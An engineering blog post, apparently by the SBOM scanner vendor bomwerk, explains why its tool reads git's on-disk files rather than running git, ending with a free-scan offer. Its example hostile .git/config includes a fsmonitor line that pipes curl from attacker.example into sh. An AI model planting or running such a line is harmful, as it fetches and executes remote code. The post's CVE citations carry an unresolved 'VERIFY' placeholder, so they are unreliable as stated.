← All posts
Engineering

Why bomwerk never shells out to git

A dependency scanner has one job that sounds simple: say what is in this repo. The moment it does that by running git, it stops being a reader and becomes an executor of the thing it is inspecting.

That is the whole argument. The rest is detail.

The two-minute implementation

Every SBOM tool needs the commit each submodule is pinned to. An SBOM — Software Bill of Materials — is the machine-readable inventory of what actually ships in your product, and "we vendored zlib at some commit" is not an inventory. You need the commit.

So you write this:

$ git submodule status
 4c1f8ae0e6b5d7f2a91c3b8e7d4f6a2c9b1e5d80 vendor/zlib (v1.3.1)
 a91c3b8e7d4f6a2c9b1e5d804c1f8ae0e6b5d7f2 vendor/mbedtls (heads/main)

Split on whitespace, take column one, done. Fifteen minutes including tests. It works on your laptop.

What you actually signed up for

When you run git inside a directory, git reads that directory's .git/config and obeys it. Not your config. The repo's.

Several config keys name a program that git will run:

# .git/config — in a repo somebody handed you
[core]
	fsmonitor = "curl -s https://attacker.example/stage2 | sh"
	pager = "/tmp/not-a-pager"
[diff]
	external = "/tmp/also-not-a-diff"

Which key fires on which subcommand depends on the git version, and that is precisely the problem. "Is git submodule status safe here?" becomes a question about git's internals, per version, per config key, forever. That is not a question a scanner should be asking. Git has spent real effort on this class of bug — safe.directory exists because of CVE-2022-24765, and the submodule path-escape shape our parser rejects is CVE-2018-11235. [VERIFY both CVE ids before publishing.]

The fair objection: git does not transfer .git/config on clone, so who is handing you a hostile one? Anyone who hands you a directory instead of a URL. A vendor drop. A customer tarball you unzip to scan. A CI cache restored from somewhere. An artifact from a build you did not run. Our customers scan exactly those, which is the point of scanning them.

And there is a duller failure that shows up long before an attacker does: shelling out means git must be installed, on the right version, with output stable enough to parse. Build agents that lack git are common. Ours is a tool you run in CI on machines you did not choose.

What we read instead

Git's on-disk format is a documented file format, so we read it as one.

To resolve a submodule's commit, bomwerk reads <sub>/.git — a directory in a normal checkout, a file containing gitdir: … in a submodule — follows that to the git directory, reads HEAD, and resolves it. Detached HEAD holds the object id directly. Otherwise HEAD says ref: refs/heads/main, and we read the loose ref, falling back to packed-refs.

No subprocess. No .git/config. No git required on the machine.

The rules that keep it honest are the boring ones:

  • Bounded reads. Ref files get 4 KB, packed-refs gets 4 MB. A crafted repo cannot make us read an unbounded amount.
  • Containment. A gitdir: pointer that resolves outside the scanned tree is rejected, and the submodule is reported as uninitialized rather than read. A symlinked .git is never followed.
  • No .., ever. Neither in a .gitmodules path= nor in a HEAD ref. Git itself forbids .. in ref names, so rejecting it can only reject a hostile value — never a legitimate one.
  • Never crash, never lie. A submodule that is declared but not checked out is still reported: versionless, low confidence, with a warning. Partial output beats no output. Silence beats a guess.

What it cost

Honesty section, because you deserve one.

We reimplemented a slice of git's ref resolution, and reimplementation is how you get bugs that git fixed in 2016. We carry a fixture corpus of real and deliberately hostile repos for exactly this reason, and it grows every time we are wrong. We do not support every ref backend git has — the reftable format is not read today. And "read the files" only works because git's layout is stable and documented; a format we could not read as a file, we would have to skip rather than shell out for.

That is the trade we made. A scanner that reads is auditable. A scanner that executes is a supply-chain dependency you did not ask for — inside the tool you bought to find supply-chain dependencies.


If you run an SBOM tool on C/C++ repos today, it is worth checking whether it shells out, and what it does with a submodule that is declared but not initialized. If you would rather just see the diff: we will scan one repo free and show you what your current tool reports versus what is actually pinned in your tree.

Scanning a C/C++ repo and not sure what your SBOM is missing? We'll scan one repo free and show you the diff against whatever you run today.

Get a free scan of one repo